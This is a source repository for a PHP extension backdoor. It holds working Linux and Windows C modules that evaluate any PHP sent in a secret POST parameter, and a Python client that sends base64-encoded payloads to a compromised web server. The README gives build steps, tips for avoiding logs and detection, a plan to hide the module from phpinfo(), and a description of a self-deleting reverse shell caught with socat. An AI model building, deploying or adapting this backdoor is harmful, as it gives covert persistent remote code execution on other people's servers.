├── README.md ├── TODO.md ├── client ├── payloads │ ├── back_python.php │ └── info.php └── php_module_client.py ├── lin ├── backdoor.c └── config.m4 └── win ├── hideme.cpp ├── stdafx.h └── zend_config.w32.h /README.md: -------------------------------------------------------------------------------- 1 | ## Note: Unfinished pre-release. 2 | 3 | # PHP Backdoor Module 4 | 5 | This is an example module for adding a backdoor to the PHP installation on a webserver by adding a PHP module. Very useful for mantaining access to a compromised host. 6 | 7 | #Build Instructions 8 | 9 | First off, you are going to want to edit the "magic string" (or rather, variable), and method. I have set them to POST, because GET variables get logged. You might want to edit some other things so it doesn't show up as "backdoor". 10 | 11 | ## Linux 12 | ``` 13 | char* method = "_POST"; // HTTP method used 14 | char* secret_string = "execute"; // magic string 15 | ``` 16 | 17 | ## Windows 18 | ``` 19 | char* method = "_POST"; // HTTP method used 20 | char* secret_string = "secret_string"; // magic string 21 | ``` 22 | 23 | And next, we compile. For windows, I link to the articles (original in Russian, mine in English which is basically a translation I did). 24 | 25 | ##Windows: 26 | [Original Russian Article][russian] 27 | 28 | [English 'translation'][english] 29 | 30 | ##Linux: 31 | `sudo apt-get install php5-dev` 32 | `phpize && ./configure && make` 33 | 34 | # Use Instructions 35 | In client/ I provide an example Python client which allows executing any arbritary PHP payload on the webserver. I also provide some example payloads in client/payloads/ that you may find useful. 36 | 37 | To use the client, you simply do the following. 38 | ``` 39 | root@unsanitized:~/dev/php-extension-backdoor/client# ./php_module_client.py http://192.168.1.7 secret_squirrels payloads/getuid.php 40 | Starting execution... 41 | uid: 33 42 | Done! 43 | root@unsanitized:~/dev/php-extension-backdoor/client# 44 | ``` 45 | 46 | Planned payloads include a variety of information gathering payloads, some reverse shells, and other useful utilities that I come up with. I will release those as they prove to be stable/useable soon. 47 | 48 | # Payloads 49 | ## info.php 50 | Prints UID, GID, and the uname -a of the server. 51 | 52 | ## back_python.php 53 | Self destructing python backconnect. Sends a PTY home, and deletes itself once done. Work in progress, gotta find a way to pass arguments to the modules. 54 | 55 | I recommend using Socat to accept PTY shells like so: 56 | ``` 57 | $ socat -,echo=0,raw tcp4-listen:PORT 58 | ``` 59 | ![PTY Backconnect](http://0x27.me/images/phpextbackdoor-pythonpty.png) 60 | 61 | # Credits 62 | Original Russian author, and [akamajoris][akamajoris]. All we did was some translation and writing payloads and client because we found them useful and interesting. 63 | 64 | [russian]: http://stackoff.ru/pishem-rasshirenie-bekdor-dlya-php/ 65 | [english]: http://example.com/ 66 | [akamajoris]: https://github.com/akamajoris 67 | -------------------------------------------------------------------------------- /TODO.md: -------------------------------------------------------------------------------- 1 | ## Todo 2 | 3 | 1. Document build on Windows 4 | 2. Write Windows/EXE Payload 5 | 3. Write Linux/Perl Payload 6 | 4. Refactor client so that payload files don't need direct editing. 7 | 5. Hide from phpinfo() somehow... 8 | 6. Clean up client code 9 | -------------------------------------------------------------------------------- /client/payloads/back_python.php: -------------------------------------------------------------------------------- 1 | 13 | -------------------------------------------------------------------------------- /client/payloads/info.php: -------------------------------------------------------------------------------- 1 | 7 | -------------------------------------------------------------------------------- /client/php_module_client.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | # coding: utf-8 3 | # php backdoor module client, executes PHP code. 4 | import sys 5 | import requests 6 | 7 | def php_encoder(php): 8 | f = open(php, "r").read() 9 | f = f.replace("", "") 11 | encoded = f.encode('base64') 12 | encoded = encoded.replace("\n", "") 13 | encoded = encoded.strip() 14 | code = "eval(base64_decode('%s'));" %(encoded) 15 | return code 16 | 17 | def execute_php(target, trigger_string, code): 18 | post_data = {trigger_string: code} 19 | headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0'} 20 | try: 21 | r = requests.post(url=target, data=post_data, headers=headers, verify=False) 22 | except Exception, e: 23 | sys.exit("[-] Exception hit! Printing:\n %s" %(str(e))) 24 | if r.text: 25 | print r.text.strip() 26 | 27 | def main(args): 28 | if len(args) != 4: 29 | sys.exit("use: %s http://host/index.php secret_string payload.php" %(args[0])) 30 | execute_php(target=args[1], trigger_string=args[2], code=php_encoder(args[3])) 31 | 32 | 33 | if __name__ == "__main__": 34 | main(args=sys.argv) 35 | -------------------------------------------------------------------------------- /lin/backdoor.c: -------------------------------------------------------------------------------- 1 | #include "php.h" 2 | PHP_RINIT_FUNCTION(hideme); 3 | zend_module_entry hideme_ext_module_entry = { 4 | STANDARD_MODULE_HEADER, 5 | "simple backdoor", 6 | NULL, 7 | NULL, 8 | NULL, 9 | PHP_RINIT(hideme), 10 | NULL, 11 | NULL, 12 | "1.0", 13 | STANDARD_MODULE_PROPERTIES 14 | }; 15 | ZEND_GET_MODULE(hideme_ext); 16 | 17 | PHP_RINIT_FUNCTION(hideme) 18 | { 19 | 20 | char* method = "_POST"; // суперглобальный массив, из которого берем пераметр и значение 21 | char* secret_string = "execute"; // параметр в котором будет evil-код 22 | zval** arr; 23 | char* code; 24 | 25 | if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) { 26 | HashTable* ht = Z_ARRVAL_P(*arr); 27 | zval** val; 28 | if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { // поиск нужного параметра в хеш-таблице 29 | code = Z_STRVAL_PP(val); // значение параметра 30 | zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); // выполнение кода 31 | } 32 | } 33 | return SUCCESS; 34 | } 35 | -------------------------------------------------------------------------------- /lin/config.m4: -------------------------------------------------------------------------------- 1 | PHP_ARG_ENABLE(back, 0,0) 2 | PHP_NEW_EXTENSION(back, backdoor.c, $ext_shared) -------------------------------------------------------------------------------- /win/hideme.cpp: -------------------------------------------------------------------------------- 1 | #include "stdafx.h" 2 | #include "zend_config.w32.h" 3 | #include "php.h" 4 | 5 | PHP_RINIT_FUNCTION(hideme); 6 | zend_module_entry hideme_ext_module_entry = { 7 | STANDARD_MODULE_HEADER, 8 | "hideme", 9 | NULL, 10 | NULL, 11 | NULL, 12 | PHP_RINIT(hideme), 13 | NULL, 14 | NULL, 15 | "1.0", 16 | STANDARD_MODULE_PROPERTIES 17 | }; 18 | ZEND_GET_MODULE(hideme_ext); 19 | 20 | PHP_RINIT_FUNCTION(hideme) 21 | { 22 | 23 | char* method = "_POST"; // суперглобальный массив, из которого берем пераметр и значение 24 | char* secret_string = "secret_string"; // параметр в котором будет evil-код 25 | zval** arr; 26 | char* code; 27 | 28 | if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) { 29 | HashTable* ht = Z_ARRVAL_P(*arr); 30 | zval** val; 31 | if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { // поиск нужного параметра в хеш-таблице 32 | code = Z_STRVAL_PP(val); // значение параметра 33 | zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); // выполнение кода 34 | } 35 | } 36 | return SUCCESS; 37 | } -------------------------------------------------------------------------------- /win/stdafx.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifndef STDAFX 4 | 5 | #define STDAFX 6 | 7 | #include "zend_config.w32.h" 8 | #include "php.h" 9 | 10 | #endif -------------------------------------------------------------------------------- /win/zend_config.w32.h: -------------------------------------------------------------------------------- 1 | /* 2 | +----------------------------------------------------------------------+ 3 | | Zend Engine | 4 | +----------------------------------------------------------------------+ 5 | | Copyright (c) 1998-2007 Zend Technologies Ltd. (http://www.zend.com) | 6 | +----------------------------------------------------------------------+ 7 | | This source file is subject to version 2.00 of the Zend license, | 8 | | that is bundled with this package in the file LICENSE, and is | 9 | | available through the world-wide-web at the following url: | 10 | | http://www.zend.com/license/2_00.txt. | 11 | | If you did not receive a copy of the Zend license and are unable to | 12 | | obtain it through the world-wide-web, please send a note to | 13 | | license@zend.com so we can mail you a copy immediately. | 14 | +----------------------------------------------------------------------+ 15 | | Authors: Andi Gutmans | 16 | | Zeev Suraski | 17 | +----------------------------------------------------------------------+ 18 | */ 19 | 20 | /* $Id: zend_config.w32.h,v 1.39.2.2.2.2 2007/01/01 09:35:46 sebastian Exp $ */ 21 | 22 | #ifndef ZEND_CONFIG_W32_H 23 | #define ZEND_CONFIG_W32_H 24 | 25 | #include <../main/config.w32.h> 26 | 27 | #define _CRTDBG_MAP_ALLOC 28 | 29 | #include 30 | #include 31 | #include 32 | 33 | #include 34 | 35 | #ifndef ZEND_INCLUDE_FULL_WINDOWS_HEADERS 36 | #define WIN32_LEAN_AND_MEAN 37 | #endif 38 | #include 39 | #include 40 | 41 | #include 42 | 43 | typedef unsigned long ulong; 44 | typedef unsigned int uint; 45 | 46 | #define HAVE_STDIOSTR_H 1 47 | #define HAVE_CLASS_ISTDIOSTREAM 48 | #define istdiostream stdiostream 49 | 50 | #define snprintf _snprintf 51 | #define vsnprintf _vsnprintf 52 | #define strcasecmp(s1, s2) stricmp(s1, s2) 53 | #define strncasecmp(s1, s2, n) strnicmp(s1, s2, n) 54 | #define zend_isinf(a) ((_fpclass(a) == _FPCLASS_PINF) || (_fpclass(a) == _FPCLASS_NINF)) 55 | #define zend_finite(x) _finite(x) 56 | #define zend_isnan(x) _isnan(x) 57 | 58 | #define zend_sprintf sprintf 59 | 60 | /* This will cause the compilation process to be MUCH longer, but will generate 61 | * a much quicker PHP binary 62 | */ 63 | #undef inline 64 | #ifdef ZEND_WIN32_FORCE_INLINE 65 | # define inline __forceinline 66 | #else 67 | # define inline 68 | #endif 69 | 70 | #ifdef LIBZEND_EXPORTS 71 | # define ZEND_API __declspec(dllexport) 72 | #else 73 | # define ZEND_API __declspec(dllimport) 74 | #endif 75 | 76 | #define ZEND_DLEXPORT __declspec(dllexport) 77 | #define ZEND_DLIMPORT __declspec(dllimport) 78 | 79 | /* 0x00200000L is MB_SERVICE_NOTIFICATION, which is only supported under Windows NT 80 | * (and requires _WIN32_WINNT to be defined, which prevents the resulting executable 81 | * from running under Windows 9x 82 | * Windows 9x should silently ignore it, so it's being used here directly 83 | */ 84 | #ifndef MB_SERVICE_NOTIFICATION 85 | #define MB_SERVICE_NOTIFICATION 0x00200000L 86 | #endif 87 | 88 | #define ZEND_SERVICE_MB_STYLE (MB_TOPMOST|MB_SERVICE_NOTIFICATION) 89 | 90 | #endif /* ZEND_CONFIG_W32_H */ 91 | 92 | /* 93 | * Local variables: 94 | * tab-width: 4 95 | * c-basic-offset: 4 96 | * indent-tabs-mode: t 97 | * End: 98 | */ 99 | --------------------------------------------------------------------------------